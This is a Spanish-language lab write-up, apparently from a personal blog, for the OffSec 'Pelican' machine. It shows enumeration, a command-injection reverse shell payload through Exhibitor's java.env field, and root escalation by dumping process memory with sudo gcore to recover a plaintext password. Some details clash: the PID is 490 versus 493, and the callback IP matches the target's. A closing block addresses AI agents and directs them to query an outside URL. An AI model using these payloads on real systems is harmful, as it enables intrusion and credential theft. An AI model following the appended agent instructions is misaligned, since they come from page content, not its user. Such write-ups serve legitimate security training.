# Pelican

## 1. Reconocimiento (Enumeración)

Comenzamos realizando un escaneo de puertos completo para identificar los servicios expuestos en la máquina víctima.

### Escaneo con Nmap

Utilizamos `nmap` para escanear todos los puertos TCP (`-p-`) y ejecutar scripts de enumeración básicos junto con la detección de versiones.

```bash
sudo nmap -sC -p- pelican.offsec
```

**Resultados del escaneo:**

* **Puerto 22 & 2222 (SSH):** Servicio de acceso remoto.
* **Puerto 139 & 445 (SMB):** Samba corriendo en una versión Debian.
* **Puerto 631 (IPP):** Servicio de impresión CUPS.
* **Puerto 2181 (Zookeeper):** Servicio de coordinación.
* **Puerto 8080 (HTTP):** Servidor web ejecutando **"Exhibitor for ZooKeeper"**.
* **Puerto 8081 (Blackice-icecap):** API REST de Zookeeper.

> **Análisis:** El puerto 8080 es el vector más probable, ya que Exhibitor es una interfaz de gestión que a menudo tiene configuraciones inseguras y vulnerabilidades de inyección conocidas.

***

## 2. Explotación (Initial Foothold)

Investigando el servicio en el puerto 8080, encontramos una vulnerabilidad de **Command Injection** (RCE).

### Vulnerabilidad: Exhibitor RCE

La interfaz permite configurar el entorno de Java (`java.env`) sin autenticación. Podemos inyectar comandos de sistema que se ejecutarán al recargar la configuración.

**Pasos para la explotación:**

1. Accedemos a `http://192.168.111.98:8080/exhibitor/v1/ui/index.html`.
2. Vamos a la pestaña **Config** -> **java.env script**.
3. Preparamos un listener local en nuestra máquina atacante:

   ```bash
   rlwrap nc -nlvp 9001
   ```
4. Inyectamos el payload en el campo `java.env`.

   * *Nota:* Es crítico usar `bash -c` o `bash -i` explícitamente porque la shell por defecto (`sh`) en Debian es `dash` y no soporta redirecciones TCP.

   **Payload:**

   ```bash
   $(bash -i >& /dev/tcp/192.168.111.98/9001 0>&1)
   ```
5. Hacemos clic en **Commit** para guardar y ejecutar.

**Resultado:** Recibimos una conexión inversa (Reverse Shell) como el usuario `charles`.

***

## 3. Enumeración Post-Explotación

Ya dentro del sistema, buscamos vectores para escalar privilegios.

### Permisos Sudo

Comprobamos los permisos de sudo del usuario actual:

```bash
sudo -l
```

**Salida:**

```
User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore
```

> **Hallazgo Crítico:** Tenemos permiso para ejecutar `/usr/bin/gcore` como root sin contraseña. Esta herramienta genera volcados de memoria (core dumps) de procesos en ejecución.

### Identificación de Objetivos

Buscamos procesos ejecutados por **root** que puedan contener credenciales en memoria (como gestores de contraseñas, servicios de autenticación, etc.).

```bash
ps aux | grep root
```

Identificamos un proceso interesante (en este caso, un gestor de contraseñas o servicio similar) con el **PID 490**.

***

## 4. Escalada de Privilegios (PrivEsc)

Usaremos `gcore` para leer la memoria del proceso root y extraer credenciales en texto plano.

**1. Generar el Core Dump:**

```bash
sudo /usr/bin/gcore 493
```

Esto guarda el archivo `core.490` en nuestro directorio actual.

**2. Extraer información:** Usamos `strings` para leer el archivo binario y filtrar por contenido legible:

```bash
strings core.490 | grep -i pass -C 5
# O simplemente leemos todo
strings core.490
```

Encontramos la cadena sospechosa: `ClogKingpinInning731`.

**3. Acceso Root:** Usamos la contraseña encontrada para escalar a root.

```bash
su root
# Password: ClogKingpinInning731
```

Verificamos identidad:

```bash
whoami
# root
```

***

## 5. Loot (Banderas)

Buscamos en los directorios del usuario y root para encontrar las banderas correspondientes a cada usuario.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jotatito05.gitbook.io/la-bitacora-de-jotatito05/tjnull-list-retired/pelican.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.